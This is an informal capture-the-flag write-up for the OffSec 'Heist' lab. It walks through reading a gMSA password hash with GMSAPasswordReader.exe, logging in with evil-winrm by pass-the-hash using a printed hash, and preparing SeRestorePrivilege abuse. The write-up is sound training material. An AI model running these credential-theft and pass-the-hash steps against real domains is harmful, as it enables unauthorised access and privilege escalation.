This is some big brain shit I had to look at a walktrough because I woudl've never figured this out.
So basically upon graphing the data using hte pre-compiled binary from BloodHound.
You notice that the user svc_apache can read gMSA passwords.
"SVC_APACHE$@HEIST.OFFSEC is a Group Managed Service Account. The group WEB ADMINS@HEIST.OFFSEC can retrieve the password for the GMSA SVC_APACHE$@HEIST.OFFSEC."
So Web Admins can also retrieve GMSA passwords.
We see that with the output of "Get-ADGroupMember 'Web Admin". That the user enox is also part of the web admins. Thats us!
So that means that we can also read passwords like that user.
Using GMSAPasswordReader.exe --accountname 'svc_apache'
We are able to read the rc4 hash, which is just a hash that we can use to log in as that user.
evil-winrm -i 192.168.105.165 -u svc_apache$ -H 45EA837EDB477DDA17B5822AD768D0D7
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_apache$\Documents>
Basically GMas password can be read by remote users, because the svcapache user was part of web admins and so was enox we had the same rights as svcapache so we read his password using the GMASpasswordreader.exe --accountname 'svc-apache'.
We then used the following line to get a shell as apache
Evil-WinRM* PS C:\Users\svc_apache$\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeRestorePrivilege Restore files and directories Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
As apache user we have teh seRestorePrivilege. We can exploit this.
First we clone the github repo into Visual Studio Code in our Windows Client.
Afterwards, I transferred the binary SeRestoreAbuse.exe to the machine and with nc.exe.
